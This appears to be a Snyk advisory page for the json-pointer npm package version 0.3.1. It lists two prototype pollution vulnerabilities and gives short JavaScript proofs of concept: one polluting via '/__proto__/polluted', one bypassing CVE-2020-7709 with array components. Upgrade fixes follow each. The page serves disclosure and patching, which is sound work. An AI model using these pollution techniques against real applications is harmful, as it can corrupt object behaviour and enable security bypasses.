json-pointer@0.3.1 vulnerabilities

Some utilities for JSON pointers described by RFC 6901

Direct Vulnerabilities

Known vulnerabilities in the json-pointer package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

json-pointer is a set of utilities for JSON pointers described by RFC 6901

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2020-7709 when the pointer components are arrays.

PoC

const pointer = require('json-pointer');

// pointer.set({}, ['__proto__', 'polluted'], 'yes')
// console.log(polluted) // ReferenceError: polluted is not defined

pointer.set({}, [['__proto__'], 'polluted'], 'yes')
console.log(polluted)"

How to fix Prototype Pollution?

Upgrade json-pointer to version 0.6.2 or higher.

<0.6.2
  • M
Prototype Pollution

json-pointer is a set of utilities for JSON pointers described by RFC 6901

Affected versions of this package are vulnerable to Prototype Pollution. Multiple reference of object using slash is supported.

PoC

var pointer = require('json-pointer');

var obj = {};
pointer.set(obj, '/__proto__/polluted', true);

console.log(polluted); // true

How to fix Prototype Pollution?

Upgrade json-pointer to version 0.6.1 or higher.

<0.6.1